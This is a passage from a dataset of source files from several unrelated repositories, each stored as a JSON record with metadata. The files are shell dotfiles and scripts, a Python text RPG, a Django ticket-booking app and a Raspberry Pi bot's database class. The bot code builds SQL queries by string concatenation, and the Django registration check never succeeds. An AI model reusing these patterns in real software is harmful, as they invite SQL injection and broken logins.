'[EDITOR: '$EDITOR']'\n}\n\nsuss_editor\n\n## limits\nulimit -f unlimited\nulimit -d unlimited\nulimit -s unlimited\nulimit -m unlimited\nulimit -l unlimited\nulimit -u unlimited\nulimit -n unlimited\n\nfunction delimit () {\n ulimit -f unlimited\n ulimit -d unlimited\n ulimit -s unlimited\n ulimit -m unlimited\n ulimit -l unlimited\n ulimit -u unlimited\n ulimit -n unlimited\n ulimit -a\n}\n\n[ -f $HOME/.zshenv_local ] && source $HOME/.zshenv_local\n" }, { "alpha_fraction": 0.5961538553237915, "alphanum_fraction": 0.6153846383094788, "avg_line_length": 7.666666507720947, "blob_id": "7946bfe551b258f798c3959d3d2579362d962977", "content_id": "08bfd88fa4b688b5a8da07c494a5f6a1ab695dc6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 52, "license_type": "no_license", "max_line_length": 14, "num_lines": 6, "path": "/bin/dzstat.sh", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nwhile true; do\n uptime\n sleep 5\ndone\n" }, { "alpha_fraction": 0.6598360538482666, "alphanum_fraction": 0.6844262480735779, "avg_line_length": 23.399999618530273, "blob_id": "221d54373fc134830a61b99b8586a64c38f6e0a3", "content_id": "ff8c4e65387cce82edb60ceced6062d1b65ac260", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 244, "license_type": "no_license", "max_line_length": 40, "num_lines": 10, "path": "/lib/template.md", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "Title: An Article\nAuthor: [email protected]\nDate: 6 Feb 2015\nBase Header Level: 1\nlatex mode: memoir\nlatex input: mmd-memoir-header\nlatex input: mmd-memoir-begin-doc\nlatex footer: mmd-memoir-footer\n\nThis is an article header.\n" }, { "alpha_fraction": 0.6138613820075989, "alphanum_fraction": 0.6138613820075989, "avg_line_length": 15.833333015441895, "blob_id": "f99bdf9247b7decdddad200e12f341ba07a871bb", "content_id": "e80d6187342a5f6593212f78b82668ffe46e4ab2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 101, "license_type": "no_license", "max_line_length": 37, "num_lines": 6, "path": "/bin/open_cutbuffer_tab", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n#\nc=\"`cutbuf`\"\nc=${c-http://stalphonsos.com/~attila}\necho '*splort* '$c\nnsopen -t `cutbuf`\n" }, { "alpha_fraction": 0.4353826940059662, "alphanum_fraction": 0.47929736971855164, "avg_line_length": 17.113636016845703, "blob_id": "98dfca4effad9341b85a7529042432416ab31ce9", "content_id": "dd81bb42470f567a2701c382d762b7fa8cf289e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 797, "license_type": "no_license", "max_line_length": 93, "num_lines": 44, "path": "/bin/osdtail", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\n[ x\"$1\" = x ] && {\n echo ' usage: osdtail filename [natural-size [color [position [xoff [yoff [winsize]]]]]]'\n echo 'defaults: 8 green 1 0 40 6'\n exit 1\n}\nfn=$1\npath=$fn\n[ ! -f \"$fn\" -a -f \"$HOME/logs/$fn\" ] && path=\"$HOME/logs/$fn\"\nshift\nnatsize=8\n[ x\"$1\" != x ] && {\n natsize=$1\n shift\n}\ntwotimes=`expr $natsize \\* 2`\ncolor=green\n[ x\"$1\" != x ] && {\n color=$1\n shift\n}\npos=1\n[ x\"$1\" != x ] && {\n pos=$1\n shift\n}\nxoff=0\n[ x\"$1\" != x ] && {\n xoff=$1\n shift\n}\nyoff=40\n[ x\"$1\" != x ] && {\n yoff=$1\n shift\n}\nwinsize=6\n[ x\"$1\" != x ] && {\n winsize=$1\n shift\n}\n(tail -$twotimes $path | perl -lpe 'END { print \"\\n\" x '$winsize' }') | \\\n aosd_cat -n monospace -p $pos -x $xoff -y $yoff -l $winsize -R $color -o 20 -f 20 -u 800\n" } ]
57
harsh123-baba/RPG-battle-game
https://github.com/harsh123-baba/RPG-battle-game
f6ac7139ecc8f04ce3c32ab2087a073a0793556b
5cfaa240ea91db4ee312222cfa3b9b52a95c5765
0690b3fe9d06f3a812e35fc6100a739815720aec
refs/heads/main
2023-04-29T16:24:13.058653
2021-05-23T20:23:22
2021-05-23T20:23:22
370,149,725
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4861370623111725, "alphanum_fraction": 0.5105919241905212, "avg_line_length": 32.11701965332031, "blob_id": "f8da85a6b01babd732256863ca638ea0dd800fcb", "content_id": "d12c414a590a12bb7bef9b204ebd695587778630", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6420, "license_type": "no_license", "max_line_length": 145, "num_lines": 188, "path": "/main.py", "repo_name": "harsh123-baba/RPG-battle-game", "src_encoding": "UTF-8", "text": "import random\r\nfrom classes.game import Person\r\nfrom classes.game import bcolors\r\nfrom classes.magic import Spell\r\nfrom classes.inventory import Item\r\n\r\n\r\n\r\n\r\n#create black magic\r\nfire = Spell(\"Fire\", 15, 100, \"black\")\r\nthunder = Spell(\"Thunder\", 22, 120, \"black\")\r\nblizzer = Spell(\"Blizzer\", 24, 140 , \"black\")\r\nmathor = Spell(\"Mathor\", 26, 160, \"black\")\r\nquake = Spell(\"Quake\", 28, 180, \"black\")\r\n\r\n#create white magic\r\ncure = Spell(\"cure\", 32, 120, \"white\")\r\ncura = Spell(\"Cura\", 32, 140, \"white\")\r\n\r\n\r\n#create items\r\npotion = Item(\"Potion\", \"potion\", \"Heal for 50 HP\" , 50)\r\nhipotion = Item(\"Hipotion\", \"potion\", \"Heal for 100 HP\", 100)\r\nsuperpotion = Item(\"Super Potion\", \"potion\", \"Heal for 500 HP\", 500)\r\nelixer = Item(\"Elixer\", \"elixer\", \"Fully restore HP/MP of one party member\", 9999)\r\nhielixer = Item(\"Hielixer\", \"elixer\", \"Fully restroes HP/MP of party's member\", 9999)\r\ngrenade = Item(\"Grenade\", \"attack\", \"Deals 500 points of Damage\", 500)\r\n\r\n\r\n\r\nplayer_magic = [fire, thunder, blizzer, mathor, cure, cura]\r\nplayer_item = [ {\"item\": potion, \"quantity\":5},\r\n {\"item\":hipotion, \"quantity\": 5},\r\n {\"item\":superpotion, \"quantity\": 5},\r\n {\"item\":elixer, \"quantity\": 5},\r\n {\"item\":hielixer, \"quantity\": 5},\r\n {\"item\":grenade, \"quantity\": 2}\r\n]\r\n\r\n#instantiate magic\r\n\r\nplayer1 = Person(\"vicky\", 460, 65, 200, 34, player_magic, player_item)\r\nplayer2 = Person(\"keshav\", 460, 65, 200, 34, player_magic, player_item)\r\nplayer3 = Person(\"Mi\", 460, 65, 200, 34, player_magic, player_item)\r\nplayers = [player1, player2, player3]\r\n\r\nenemy1 = Person(\"shobit\", 1600, 65, 90, 25, [], [])\r\nenemy2 = Person(\"Ayush \", 1200, 65, 90, 25, [], [])\r\nenemies = [enemy1, enemy2]\r\n\r\n\r\nrunning = True\r\ni =0\r\nprint(bcolors.FAIL +bcolors.BOLD +\"An Enemy Attacks:\"+bcolors.ENDC) \r\nwhile(running):\r\n \r\n print(\"==================================+=================================================\")\r\n print(\"\\n\\n\")\r\n print(\"Name HP MP \")\r\n \r\n\r\n for player in players:\r\n \r\n player.get_stats()\r\n \r\n print(\"\\n\\n\")\r\n for enemy in enemies:\r\n enemy.get_enemy_stats()\r\n \r\n for player in players:\r\n\r\n player.choose_action()\r\n choice = input(\" Choose your action \")\r\n index = int(choice)\r\n index = index -1\r\n \r\n if(index ==0):\r\n \r\n dmg = player.genrate_damage()\r\n enemy = int(player.choose_target(enemies))\r\n enemies[enemy].take_dmg(dmg)\r\n print(bcolors.OKGREEN+bcolors.BOLD+player.name+\" attacked enemy \"+ enemies[enemy].name+ \" for :\", dmg, \"\\n\"+ bcolors.ENDC)\r\n if enemies[enemy].get_hp() ==0:\r\n print(enemies[enemy].name + \" has died \")\r\n del enemies[enemy]\r\n elif index == 1:\r\n player.choose_magic()\r\n magic_choice = int(input(\"Choose Magic : \"))\r\n print(\"\\n\")\r\n magic_choice = magic_choice-1\r\n\r\n\r\n #yeh linessmjh nh aayi yeh 2\r\n spell = player.magic[magic_choice]\r\n magic_damage = spell.genrate_damage()\r\n\r\n current_mp = player.get_mp()\r\n if(spell.cost > current_mp):\r\n print(bcolors.FAIL + \"Not Enough MP \" +bcolors.ENDC)\r\n continue\r\n\r\n player.reduce_mp(spell.cost)\r\n\r\n if(spell.type == \"white\"):\r\n player.heal(magic_damage)\r\n print(bcolors.OKGREEN+spell.name+\" Heals for \"+str(magic_damage)+bcolors.ENDC)\r\n\r\n\r\n elif(spell.type == \"black\"):\r\n enemy = player.choose_target(enemies)\r\n enemies[enemy].take_dmg(magic_damage)\r\n print(bcolors.OKBLUE+\"\\n\"+spell.name + \" deals\", str(magic_damage), \"points of damage to \"+ enemies[enemy].name+bcolors.ENDC)\r\n if enemies[enemy].get_hp() ==0:\r\n print(enemies[enemy].name + \" has died \")\r\n del enemies[enemy]\r\n\r\n elif index == 2:\r\n player.choose_item()\r\n item_choice = int(input(\" Choose item : \"))\r\n item_choice -= 1\r\n\r\n if(item_choice==-1):\r\n continue\r\n\r\n item = player.item[item_choice][\"item\"]\r\n player.item[item_choice][\"quantity\"]-=1\r\n if(player.item[item_choice][\"quantity\"]==0):\r\n print(bcolors.FAIL + \"None left \"+bcolors.ENDC)\r\n continue\r\n\r\n \r\n if(item.Type== \"potion\"):\r\n player.heal(item.prop)\r\n print(bcolors.OKGREEN + item.name +\" Heals for\"+str(item.prop))\r\n\r\n elif(item.Type ==\"elixer\"):\r\n \r\n if item.name ==\"Hielixer\":\r\n for i in players:\r\n i.hp = i.maxhp\r\n i.mp = i.maxmp\r\n\r\n player.hp = player.maxhp\r\n player.mp = player.maxmp\r\n print(bcolors.OKGREEN + item.name + \" Fully boosted your HP/MP \")\r\n\r\n elif(item.Type == \"attack\"):\r\n enemy = player.choose_target(enemies)\r\n enemies[enemy].take_dmg(item.prop)\r\n \r\n print(item.name +\" Deals \",str(item.prop), \" points of damage to \"+enemies[enemy].name)\r\n if enemies[enemy].get_hp() ==0:\r\n print(enemies[enemy].name + \" has died \")\r\n del enemies[enemy]\r\n\r\n\r\n\r\n #enemy_choice = 1\r\n\r\n for enemy in enemies:\r\n target = random.randrange(0, 3)\r\n enemy_dmg = enemy.genrate_damage()\r\n players[target].take_dmg(enemy_dmg)\r\n print(bcolors.FAIL+ enemies[0].name +\" attacks for \", enemy_dmg, bcolors.ENDC)\r\n\r\n\r\n\r\n defeted_enemies = 0\r\n for enemy in enemies:\r\n if enemy.get_hp() == 0:\r\n defeted_enemies+=1\r\n if defeted_enemies ==2:\r\n print(bcolors.OKGREEN + bcolors.BOLD + \" You won\"+bcolors.ENDC)\r\n running = False\r\n\r\n defeted_player = 0\r\n for player in players:\r\n if player.get_hp() == 0:\r\n defeted_player +=1\r\n\r\n if defeted_player ==3:\r\n print(bcolors.FAIL + bcolors.BOLD + \" Enemy defeted you\"+bcolors.ENDC)\r\n running = False\r\n \r\n\r\n\r\n #running = False\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.41348546743392944, "alphanum_fraction": 0.43340247869491577, "avg_line_length": 24.700000762939453, "blob_id": "646868368a70fbb67c88e45e17d1aaeb51a517af", "content_id": "91ec33a4df085d44de2f72ce5a53600fbc789836", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4826, "license_type": "no_license", "max_line_length": 120, "num_lines": 180, "path": "/classes/game.py", "repo_name": "harsh123-baba/RPG-battle-game", "src_encoding": "UTF-8", "text": "from math import fabs\r\nimport random\r\nfrom .magic import Spell\r\nfrom .inventory import Item\r\nclass bcolors:\r\n HEADER = '\\033[95m'\r\n OKBLUE = '\\033[94m'\r\n OKGREEN = '\\033[92m'\r\n WARNING = '\\033[93m'\r\n FAIL = '\\033[91m'\r\n ENDC = '\\033[0m'\r\n BOLD = '\\033[1m'\r\n UNDERLINE = '\\033[4m'\r\n\r\n\r\nclass Person:\r\n def __init__(self,name, hp, mp, atk , df, magic, item):\r\n self.maxhp = hp\r\n self.hp = hp\r\n self.maxmp = mp\r\n self.mp = mp\r\n self.atkl = atk-10\r\n self.atkh = atk +10\r\n self.df = df\r\n self.item = item\r\n self.magic = magic\r\n self.actions = [\"Attack\", \"Magic\", \"Items\"]\r\n self.name = name\r\n\r\n def genrate_damage(self):\r\n return random.randrange(self.atkl, self.atkh)\r\n\r\n\r\n def take_dmg(self, dmg):\r\n self.hp -= dmg\r\n if(self.hp<0):\r\n self.hp =0\r\n return self.hp\r\n\r\n def get_hp(self):\r\n return self.hp\r\n\r\n def get_max_hp(self):\r\n return self.maxhp\r\n\r\n def get_mp(self):\r\n return self.mp\r\n \r\n def get_max_mp(self):\r\n return self.maxmp\r\n \r\n def reduce_mp(self, cost):\r\n self.mp -= cost\r\n \r\n def choose_action(self):\r\n i =1\r\n print(\"\\n\"+bcolors.BOLD +self.name +\" : \"+bcolors.ENDC)\r\n print(bcolors.OKBLUE +bcolors.BOLD+ \"Actions\"+bcolors.ENDC)\r\n for item in self.actions:\r\n print(\" \"+str(i)+\":\", item)\r\n i+=1\r\n\r\n def choose_magic(self):\r\n i =1\r\n \r\n print(bcolors.OKGREEN +bcolors.BOLD+ \"Magic\"+bcolors.ENDC)\r\n for spell in self.magic:\r\n print(\" \"+str(i)+\":\", spell.name,\"[cost : \"+str(spell.cost)+\"]\")\r\n i +=1\r\n\r\n def choose_item(self):\r\n i = 1\r\n print(bcolors.OKGREEN + bcolors.BOLD+\"Items\"+bcolors.ENDC)\r\n for item in self.item:\r\n print(\" \"+str(i)+\":\", item[\"item\"].name, \" : \", item[\"item\"].description, \"(X\",str(item[\"quantity\"])+\")\")\r\n i+=1\r\n\r\n def choose_target(self, enemies):\r\n i = 1\r\n print(\" \"+bcolors.FAIL+\"Targets : \"+bcolors.ENDC)\r\n for enemy in enemies:\r\n if enemy.get_hp()!=0:\r\n print(\" \"+str(i)+\". \"+enemy.name)\r\n i+=1\r\n\r\n choice = int(input(\" Choose Target : \"))-1\r\n return choice\r\n\r\n def heal(self, dmg):\r\n self.hp +=dmg\r\n if(self.hp>self.maxhp):\r\n self.hp = self.maxhp \r\n\r\n\r\n def get_enemy_stats(self):\r\n hp_bars = \"\"\r\n hp_ticks = (self.hp/self.maxhp)*100/2\r\n while(hp_ticks>0):\r\n hp_bars+=\"█\"\r\n hp_ticks-=1\r\n\r\n while(len(hp_bars)<50):\r\n hp_bars +=\" \"\r\n\r\n\r\n hp_string = str(self.hp)+\"/\"+str(self.maxhp)\r\n current_hp = \"\"\r\n if(len(hp_string)<9):\r\n decresed = 9-len(hp_string)\r\n while(decresed>0):\r\n current_hp += \" \"\r\n decresed -=1\r\n current_hp+=hp_string\r\n\r\n else:\r\n current_hp = hp_string\r\n\r\n \r\n print(\" ___________________________________________________\")\r\n print(f\"{self.name:10}\" +\" \"+current_hp+\"|\"+bcolors.FAIL+ hp_bars+bcolors.ENDC+\"|\" +bcolors.ENDC)\r\n\r\n \r\n\r\n\r\n\r\n\r\n def get_stats(self):\r\n hp_bars=\"\"\r\n bar_ticks = (self.hp/self.maxhp)*100/4\r\n \r\n mp_bars = \"\"\r\n mp_ticks = (self.mp/self.maxmp)*100/10\r\n\r\n while(bar_ticks>0):\r\n hp_bars+=\"█\"\r\n bar_ticks-=1\r\n\r\n while(len(hp_bars)<25):\r\n hp_bars+=\" \"\r\n\r\n \r\n \r\n while(mp_ticks>0):\r\n mp_bars+= \"█\"\r\n mp_ticks-=1\r\n\r\n while(len(mp_bars)<10):\r\n mp_bars += \" \"\r\n\r\n hp_string = str(self.hp)+\"/\"+str(self.maxhp)\r\n\r\n # current_hp = \"\"\r\n # if(len(hp_string)<7):\r\n # decresed = 7-len(hp_string)\r\n\r\n # while(decresed>0):\r\n # hp_string += \" \"\r\n # decresed-=1\r\n\r\n # current_hp += hp_string\r\n\r\n # else:\r\n # current_hp = hp_string\r\n\r\n mp_string = str(self.mp)+\"/\"+str(self.maxmp)\r\n # current_mp = \"\"\r\n # if(len(mp_string)<5):\r\n # decresed = 5-len(mp_string)\r\n # while(decresed>0):\r\n # mp_string += \" \"\r\n # decresed-=1\r\n \r\n # current_mp = mp_string\r\n # else:\r\n # current_mp = mp_string\r\n\r\n\r\n print(\" __________________________ ___________\")\r\n print(f\"{self.name:10}\" +\" \"+f\"{hp_string:7}\"+\"|\"+bcolors.OKGREEN+ hp_bars+bcolors.ENDC+\"|\" \r\n + \" \"+f\"{mp_string:5}\"+\"|\"+bcolors.OKBLUE+mp_bars+bcolors.ENDC+\"|\")\r\n\r\n \r\n \r\n" } ]
2
dehansspeiter/My-First-App
https://github.com/dehansspeiter/My-First-App
71096481033d6df6c83f82d95808680708ac3c7c
0c2afe3e7026b172d1bbaa159cfcc1bc5c4e88e7
04e15fb7dc6ca6356aa49d24370af58c4495c4f4
refs/heads/master
2020-12-09T12:53:42.765887
2020-01-11T23:15:54
2020-01-11T23:15:54
233,309,320
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7250000238418579, "alphanum_fraction": 0.7250000238418579, "avg_line_length": 19.5, "blob_id": "d8a4b108ed5c57660e1f6fd7ab2f61058785a823", "content_id": "518e255315f23d4d588aa7ec3ad14fb92fd6b252", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 40, "license_type": "no_license", "max_line_length": 22, "num_lines": 2, "path": "/src/hello.py", "repo_name": "dehansspeiter/My-First-App", "src_encoding": "UTF-8", "text": "def dotheshit(string):\n print(string)" }, { "alpha_fraction": 0.6190476417541504, "alphanum_fraction": 0.6190476417541504, "avg_line_length": 21, "blob_id": "c837eaa52c66cc638187b2acbfae0ecbbfd4a54d", "content_id": "ee991051f07e3e56e3c5b6c53b67c1272022a2a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21, "license_type": "no_license", "max_line_length": 21, "num_lines": 1, "path": "/references/text.py", "repo_name": "dehansspeiter/My-First-App", "src_encoding": "UTF-8", "text": "THE_TEXT = \"Yo yo yo\"" }, { "alpha_fraction": 0.6514285802841187, "alphanum_fraction": 0.6514285802841187, "avg_line_length": 24.14285659790039, "blob_id": "681167bad52c97ed40b61b91c00d135fda22adb1", "content_id": "97cb76c146246edc1d0014dcd11b414f9364395a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 175, "license_type": "no_license", "max_line_length": 40, "num_lines": 7, "path": "/src/main.py", "repo_name": "dehansspeiter/My-First-App", "src_encoding": "UTF-8", "text": "import hello as h\nfrom references import text\n\nif __name__ == \"__main__\":\n h.dotheshit(text.THE_TEXT)\n # In the future: Add this to Github.\n # READY TO MOVE TO GITHUB" } ]
3
NotAGoodStudent/Django
https://github.com/NotAGoodStudent/Django
01cf84462d92df6674fed8d168380a4bcca5d1a3
690950a875783965a21869de9e0e8491de710f82
93c1cbb9ad5b76386fb9e4cdfeb3ecca9b7f8192
refs/heads/master
2023-03-01T17:36:29.413657
2021-02-14T23:23:33
2021-02-14T23:23:33
338,463,202
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5160493850708008, "alphanum_fraction": 0.5975308418273926, "avg_line_length": 21.5, "blob_id": "5adf0153d7ea2e9dc415f0ce8af2d025a5dbe047", "content_id": "51e5ebb8388f91fc257a0bbf410ceffd4cb2e0e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 405, "license_type": "no_license", "max_line_length": 63, "num_lines": 18, "path": "/festival/migrations/0003_auto_20210213_1231.py", "repo_name": "NotAGoodStudent/Django", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.6 on 2021-02-13 12:31\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('festival', '0002_auto_20210212_2231'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='tickets',\n name='artistName',\n field=models.CharField(max_length=20, unique=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.7176470756530762, "avg_line_length": 20.25, "blob_id": "17be248a726d93f8e4487feb291c1edfa380ea91", "content_id": "b3730cdbd0f4654de3cc30622770800dd89b840c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "YAML", "length_bytes": 170, "license_type": "no_license", "max_line_length": 61, "num_lines": 8, "path": "/DjangoDockerDB/docker-compose.yml", "repo_name": "NotAGoodStudent/Django", "src_encoding": "UTF-8", "text": "version: '3.3'\nservices:\n phpmyadmin:\n image: phpmyadmin/phpmyadmin\n environment:\n PMA_HOST: dbjango.cj8brtpby98t.us-east-1.rds.amazonaws.com\n ports:\n - \"8090:80\"\n" }, { "alpha_fraction": 0.7558770179748535, "alphanum_fraction": 0.7594936490058899, "avg_line_length": 33.625, "blob_id": "36562d41f3c9abbdc484845670a8410862b0bdec", "content_id": "da7ff34bd5bc6517e2eab45c5700adb261445e8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 553, "license_type": "no_license", "max_line_length": 64, "num_lines": 16, "path": "/festival/models.py", "repo_name": "NotAGoodStudent/Django", "src_encoding": "UTF-8", "text": "from django.contrib.auth.models import User\nfrom django.db import models\n\n# Create your models here.\nfrom django.db.models import CASCADE\n\nclass Tickets(models.Model):\n ticketID = models.AutoField(primary_key=True)\n artistName = models.CharField(max_length=20, unique=True)\n stock = models.IntegerField()\n\nclass Bookings(models.Model):\n bookingID = models.AutoField(primary_key=True)\n booker = models.ForeignKey(User, on_delete=CASCADE)\n bookedTicket = models.ForeignKey(Tickets, on_delete=CASCADE)\n quantity = models.IntegerField()" }, { "alpha_fraction": 0.5299793481826782, "alphanum_fraction": 0.54789799451828, "avg_line_length": 33.5476188659668, "blob_id": "02101845258169d30f1fadfcd06c41a96076e311", "content_id": "64df34dcb18028695f7118ec6aaef5dbd84cb1e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1451, "license_type": "no_license", "max_line_length": 120, "num_lines": 42, "path": "/festival/migrations/0001_initial.py", "repo_name": "NotAGoodStudent/Django", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.6 on 2021-02-11 23:18\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Tickets',\n fields=[\n ('ticketID', models.AutoField(primary_key=True, serialize=False)),\n ('artistName', models.CharField(max_length=20)),\n ('stock', models.IntegerField()),\n ],\n ),\n migrations.CreateModel(\n name='User',\n fields=[\n ('userID', models.AutoField(primary_key=True, serialize=False)),\n ('name', models.CharField(max_length=20)),\n ('surname', models.CharField(max_length=40)),\n ('username', models.CharField(max_length=20)),\n ('email', models.CharField(max_length=100)),\n ],\n ),\n migrations.CreateModel(\n name='Bookings',\n fields=[\n ('bookingID', models.AutoField(primary_key=True, serialize=False)),\n ('quantity', models.IntegerField()),\n ('bookedTicket', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='festival.tickets')),\n ('booker', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='festival.user')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.647849440574646, "alphanum_fraction": 0.649193525314331, "avg_line_length": 36.150001525878906, "blob_id": "3c33950ed8f6d1479ecca74580feeccd4d96742d", "content_id": "216d86da136773a010d4b446c15c838e4130c449", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3720, "license_type": "no_license", "max_line_length": 207, "num_lines": 100, "path": "/festival/views.py", "repo_name": "NotAGoodStudent/Django", "src_encoding": "UTF-8", "text": "from django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.contrib.auth.models import User\nfrom django.forms import forms\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth.decorators import user_passes_test\n\n# Create your views here.\nfrom django.views.generic.base import View\n\nfrom festival.models import Tickets, Bookings\n\n\nclass HelloWorld(View):\n\n def get(self, request):\n return render(request, 'index.html')\n\nclass LoginView(View):\n def get(self, request):\n return render(request, 'login.html')\n\n def post(self, request):\n user = authenticate(request, username = request.POST['username'], password = request.POST['password'])\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n return self.get(request)\n\nclass LogoutView(View):\n def get(self, request):\n if request.user.is_authenticated:\n logout(request)\n return redirect('login')\n\nclass RegisterView(View):\n def get(self, request):\n return render(request, 'register.html')\n\n def post(self,request):\n exists = User.objects.filter(username=request.POST['username'], email=request.POST['email']).exists()\n if exists is None:\n passw = request.POST['password']\n passw2 = request.POST['password2']\n if passw == passw2:\n User.objects.create_user(username=request.POST['username'], email=request.POST['email'], password=request.POST['password'], first_name=request.POST['name'], last_name=request.POST['surname'])\n return redirect('login')\n\n return redirect('register')\n\n@method_decorator(user_passes_test(lambda u: u.is_superuser), name='dispatch')\nclass TicketView(LoginRequiredMixin, View):\n def get(self, request):\n return render(request, 'addTickets.html')\n\n def post(self, request):\n exists = Tickets.objects.filter(artistName=request.POST['artistName']).exists()\n if exists is False:\n Tickets.objects.create(artistName=request.POST['artistName'], stock=request.POST['stock'])\n return redirect('ticket')\n else:\n ticket = Tickets.objects.get(artistName=request.POST['artistName'])\n ticket.stock += int(request.POST['stock'])\n ticket.save()\n return redirect('ticket')\n\nclass BookingView(LoginRequiredMixin, View):\n def get(self, request):\n context = {\n 'tickets': list(Tickets.objects.all())\n }\n return render(request, 'bookTickets.html', context=context)\n\n def post(self, request):\n print(request.POST['ticketid'])\n print(request.POST['quantity'])\n ticket = Tickets.objects.get(ticketID=int(request.POST['ticketid']))\n print(ticket.artistName)\n user = request.user\n print(ticket.stock - int(request.POST['quantity']) > 0)\n if ticket.stock - int(request.POST['quantity']) > 0:\n ticket.stock -= int(request.POST['quantity'])\n Bookings.objects.create(booker=user, bookedTicket=ticket, quantity=request.POST['quantity'])\n ticket.save()\n return redirect('book')\n else:\n return redirect('book')\n\nclass CheckBookings(LoginRequiredMixin, View):\n def get(self, request):\n user = request.user\n context = \\\n {\n 'myBookings': list(Bookings.objects.filter(booker=user))\n\n }\n return render(request, 'myBookings.html', context=context)\n\n\n\n\n\n" } ]
5
flavioipp/RPIBot
https://github.com/flavioipp/RPIBot
49b56287baadfbc4cfb6bb7d87286a4bb8170e35
eb5a98b62d8962c47434d1569f289b6878b5fd96
59fb0f732ca8ab770525d88121cb12898e8361f7
refs/heads/master
2022-01-12T00:47:16.375991
2019-05-07T08:22:54
2019-05-07T08:22:54
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7333333492279053, "alphanum_fraction": 0.7333333492279053, "avg_line_length": 24.714284896850586, "blob_id": "8a195108353e7bef7884f5de0bf6ccb7682b6a74", "content_id": "8db61957ef30d7960b7349a13a0462849de28758", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 180, "license_type": "no_license", "max_line_length": 34, "num_lines": 7, "path": "/__init__.py", "repo_name": "flavioipp/RPIBot", "src_encoding": "UTF-8", "text": "__all__ = ['frmkLog','ansicolors']\n\n#from ._settings import rpi\nfrom ._settings import frmkLog\n#from ._settings import botUsers\n#from ._settings import DB\nfrom . import ansicolors\n" }, { "alpha_fraction": 0.5189305543899536, "alphanum_fraction": 0.5191100239753723, "avg_line_length": 30.828571319580078, "blob_id": "a20c33d72f0c538a178b471b843a1ea61df7421a", "content_id": "eb9dd4744edcd39e414adfbbdf26cd5cf553d958", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5573, "license_type": "no_license", "max_line_length": 275, "num_lines": 175, "path": "/DBClass.py", "repo_name": "flavioipp/RPIBot", "src_encoding": "UTF-8", "text": "\"\"\"\n.. module::DBClass\n :platform: Unix\n :synopsis:Class definition for DB Operations\n\n.. moduleauthor:: Flavio Ippolito <[email protected]>\n\n\"\"\"\nimport os\nimport sys\nimport logging\nimport logging.config\nimport _settings\nimport mysql.connector\nfrom datetime import datetime\n\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR + '/..')\n\nfrom RPIBot import frmkLog\nfrom RPIBot.ansicolors import *\n\n\n# init logging\n\n\ncurrLog=frmkLog()\nlogger = currLog.getLogger(os.path.basename(__file__))\n\n\n\nclass rpiDB(object):\n '''We use this class for managing MySQL DB access.\n\n :param str host: MySQl DB Host IP Address\n :param str name: MySql DB Name\n :param str _username: MySql DB User\n :param str _password: MySql DB user password\n\n '''\n def __init__(self):\n self.host = _settings.DATABASE['HOST']\n self._username = _settings.DATABASE['USER']\n self._password = _settings.DATABASE['PASSWORD']\n self._port = _settings.DATABASE['PORT']\n self.name = _settings.DATABASE['NAME']\n\n def _connect(self):\n try:\n return mysql.connector.connect(user=self._username,password=self._password,host=self.host,database=self.name,port=self._port)\n except Exception as inst:\n logger.error(ANSI_fail('DBClass._connect\\n%s'%str(inst)))\n return False\n \n\n def checkUsr(self,chat_id):\n '''get usr from DB'''\n try:\n conn=self._connect()\n cursor=conn.cursor(dictionary=True)\n querystr=\"SELECT password,is_superuser,username,first_name,last_name,is_staff,is_active,bot_chat_alert FROM auth_user where bot_chat_id = \"+str(chat_id)\n cursor.execute(querystr)\n queryres=cursor.fetchall()\n conn.close()\n usr=[]\n for row in queryres:\n usr.append({'username':row[\"username\"],\n 'first_name':row[\"first_name\"],\n 'last_name':row[\"last_name\"],\n 'password':row[\"password\"],\n 'is_superuser':row[\"is_superuser\"],\n 